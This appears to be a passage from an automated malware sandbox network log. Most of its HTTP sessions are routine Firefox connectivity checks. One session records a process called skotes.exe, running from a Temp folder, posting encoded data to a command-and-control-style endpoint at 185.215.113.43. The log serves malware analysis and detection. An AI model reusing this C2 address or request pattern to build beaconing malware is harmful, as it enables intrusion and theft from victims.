Nov 19, 2024 01:04:44.400895119 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:54.482903957 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:54.833594084 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:04:54.962481976 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63759 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:05:04.993382931 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:05:15.095465899 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:05:25.200467110 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:05:35.383085966 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:05:45.388968945 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:06:13.795502901 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:06:13.924499989 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63838 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:06:14.412811995 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:06:14.541059971 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63839 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:06:15.034738064 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:06:15.403734922 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63840 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:06:15.477917910 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:06:15.606070042 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63840 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:07:11.441450119 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:07:11.569269896 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63896 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:07:12.080390930 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:07:12.208714008 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63897 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:07:12.703219891 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:07:12.831013918 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63897 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:08:32.554902077 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:08:32.684533119 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63977 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:08:56.352642059 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:08:56.483743906 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 64001 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:10:15.853728056 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:10:15.981926918 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 64080 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:10:16.468449116 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:10:16.596690893 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 64081 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50248	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:33.813117027 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:34.733536959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	50249	34.107.221.82	80	6704	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:34.588049889 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	50251	34.107.221.82	80	6704	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:35.396037102 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	50257	34.107.221.82	80	6704	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:35.974085093 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	50262	34.107.221.82	80	6704	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:36.321624994 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:36.916938066 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62678 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:36.976335049 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:37.117520094 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62679 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:37.631974936 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:37.756162882 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62679 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:37.982191086 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62679 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:41.127810955 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:41.252742052 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62683 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:41.783819914 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:41.908930063 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62683 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:42.139303923 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:42.266269922 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62684 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:51.598176003 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:51.723798037 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62693 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:52.802891970 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:52.935548067 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62694 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:04:02.996017933 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:11.253874063 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:04:11.378568888 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62713 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:04:11.867369890 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:04:11.991604090 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62713 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:04:14.168271065 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:04:14.293868065 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62716 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:04:24.329133034 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:34.339226007 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:44.400890112 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:54.482791901 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:04:54.966608047 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:04:55.093683004 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62757 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:05:05.194591045 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:05:15.296860933 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:05:25.401657104 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:05:35.483613014 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:05:45.489579916 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:06:13.928097010 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:06:14.052383900 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62835 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:06:14.544977903 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
